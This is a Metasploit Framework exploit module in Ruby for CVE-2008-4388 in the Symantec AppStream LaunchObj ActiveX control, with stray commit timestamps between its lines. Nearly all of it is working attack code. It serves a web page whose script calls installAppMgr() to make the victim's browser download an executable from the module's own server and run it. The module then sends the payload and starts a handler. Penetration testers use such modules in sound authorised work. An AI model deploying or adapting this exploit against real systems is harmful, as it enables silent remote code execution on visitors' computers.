2009-01-18 02:19:26 +00:00
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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2009-04-13 14:33:26 +00:00
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# http://metasploit.com/framework/
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2009-01-18 02:19:26 +00:00
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Symantec AppStream LaunchObj ActiveX Control Arbitrary File Download and Execute.',
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'Description' => %q{
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This module exploits a vulnerability in Symantec AppStream Client 5.x. The vulnerability
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is in the LaunchObj ActiveX control (launcher.dll 5.1.0.82) containing the "installAppMgr()"
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method. The insecure method can be exploited to download and execute arbitrary files in the
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context of the currently logged-on user.
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},
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'License' => 'MSF_LICENSE',
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'Author' => [ 'MC' ],
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2009-03-15 18:12:33 +00:00
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'Version' => '$Revision$',
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2009-01-18 02:19:26 +00:00
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'References' =>
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[
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[ 'CVE', '2008-4388' ],
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],
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'Payload' =>
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{
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'Space' => 4000,
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'DisclosureDate' => 'Jan 15, 2009',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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payload_url = "http://"
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payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
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payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"
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if (request.uri.match(/payload/))
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return if ((p = regenerate_payload(cli)) == nil)
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data = Rex::Text.to_win32pe(p.encoded, '')
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print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
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send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
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return
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end
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vname = rand_text_alpha(rand(100) + 1)
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exe = rand_text_alpha(rand(5) + 1 )
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content = %Q|
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<html>
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<object id='#{vname}' classid='clsid:3356DB7C-58A7-11D4-AA5C-006097314BF8'></object>
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<script language="javascript">
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#{vname}.installAppMgr("#{payload_url}/#{exe}.exe");
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</script>
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</html>
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print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
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send_response_html(cli, content)
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handler(cli)
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end
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end
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